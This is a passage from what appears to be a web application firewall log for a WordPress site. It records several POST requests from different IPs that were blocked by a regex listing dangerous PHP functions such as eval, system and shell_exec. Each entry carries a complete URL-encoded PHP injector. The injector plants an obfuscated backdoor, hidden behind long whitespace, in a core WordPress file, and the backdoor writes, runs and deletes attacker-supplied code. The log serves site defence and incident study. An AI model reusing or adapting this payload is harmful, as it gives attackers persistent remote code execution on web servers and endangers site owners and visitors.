oU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4440\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\noU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:06","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ew:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4440\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\new=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:52:12","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:4463\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519\/Fe.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524flag%2520%253D%2520%2524_REQUEST%255B%2522p%255Cx72%255Cx6F%255Cx70%255Cx65rt%255Cx79%255Cx5Fset%2522%255D%253B%2520%2524flag%2520%253Dexplode%2520%2528%2520%2522.%2522%2520%252C%2520%2524flag%2520%2529%2520%253B%2520%2524factor%2520%253D%2520%2527%2527%253B%2520%2524salt6%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524salt6%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520foreach%2528%2524flag%2520as%2520%2524v6%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524salt6%255B%2524r%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2528%2524r%2520%2525%252010%2529%2529%2520%255E%252016%253B%2520%2524factor%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520%2524pset%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524resource%2520%253D%2520array_shift%2528%2524pset%2529%2529%2520%257B%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524resource\/.bind%2522%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524factor%2529%2529%2520%257B%2520require%2520%2524res%253B%2520unlink%2528%2524res%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:52:20","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 